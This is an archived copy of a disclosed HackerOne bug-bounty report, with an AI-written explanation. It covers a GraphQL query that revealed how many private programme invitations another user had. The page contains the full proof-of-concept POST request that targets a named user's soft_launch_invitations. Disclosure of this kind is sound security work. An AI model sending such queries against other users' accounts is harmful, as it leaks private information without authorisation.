Skip to content
Info disclosure Disclosed report Intermediate

The request tells the number of private programs, the new system of authorization /invite/token

A GraphQL query on HackerOne returned the number of private programme invitations for a named user, jobert, via the token-based invite system.

haxta4ok00 Follow

Originally disclosed on HackerOne

Bounty$2,000 Medium 4.3 View original
  • Triaged in 11 hours
  • Fixed in 14 days
  • Paid in 11 hours
  • Disclosed after 14 days

Summary: Hi team. The old version of the invite program, looks simple. A link to the program in which you need to log in.Now this looks through token.So my PoC I think you can count work since you have changed the system to a new, token

Description:

Steps To Reproduce

  1. https://hackerone.com/graphql

POST: {"query":"query Directory_invitations_page($state_0:[InvitationStateEnum]!,$state_3:[InvitationStateEnum]!,$first_1:Int!,$size_2:ProfilePictureSizes!) {\\nuser(username:\"jobert\") {\\n id,\\n ...F5\\n }\\n}\\nfragment F0 on User {\\n _soft_launch_invitations259p9N:soft_launch_invitations(state:$state_0,first:$first_1) {\\n total_count\\n },\\n id\\n}\\nfragment F1 on InvitationsSoftLaunch {\\n id,\\n team {\\n handle,\\n url,\\n name,\\n about,\\n bug_count,\\n base_bounty,\\n offers_bounties,\\n currency,\\n _profile_picture2rz4nb:profile_picture(size:$size_2),\\n id\\n },\\n expires_at,\\n state,\\n token\\n}\\nfragment F2 on Node {\\n id,\\n __typename\\n}\\nfragment F3 on InvitationInterface {\\n __typename,\\n ...F1,\\n ...F2\\n}\\nfragment F4 on User {\\n _soft_launch_invitations1WD3Qk:soft_launch_invitations(state:$state_0,first:$first_1) {\\n total_count,\\n edges {\\n node {\\n id,\\n ...F3\\n },\\n cursor\\n },\\n pageInfo {\\n hasNextPage,\\n hasPreviousPage\\n }\\n },\\n _soft_launch_invitations2FRMOR:soft_launch_invitations(state:$state_3,first:$first_1) {\\n total_count\\n },\\n id\\n}\\nfragment F5 on User {\\n id,\\n ...F0,\\n ...F4\\n}","variables":{"state_0":["pending_terms","open","accepted"],"state_3":["pending_terms","open","accepted","cancelled","rejected"],"first_1":100,"size_2":"large"}}

I take username:\"jobert\" , hi @jobert

Result "total_count":27

You have 27 private programs in which you have added through the new system - using /invite/token

Yes , most likely you have more number of private programs, but those that are missing, you most likely added by the old system.

Sorry i bad speak english I hope you understand me Thank you,haxta4ok00

F259145

Impact

total count Private programs in order to add the system /invite/token

Attachments

asdqwe.png
asdqwe.png From the original on HackerOne

The original report as published on HackerOne, by haxta4ok00. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the soft_launch_invitations field on the User type had no authorisation check tying it to the logged-in user, so any username could be queried.

Impact

The count of private programme invitations for the named user jobert was disclosed, though only an aggregate number was shown, not the programme details themselves.

What the attacker needed

Knowledge of a target username

How it was found

  1. Send a GraphQL query to the HackerOne GraphQL endpoint asking for a user's soft_launch_invitations total count.
  2. Set the username in the query to another user's handle.
  3. Read the returned total_count, which reveals how many private programme invitations that user has.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A GraphQL endpoint answers structured questions about data. Here a query returned how many private programme invitations a named user had through the new token system. That is a small leak of private information rather than a full break-in.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by haxta4ok00

View all

32 more disclosed reports, best first.

More from HackerOne

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.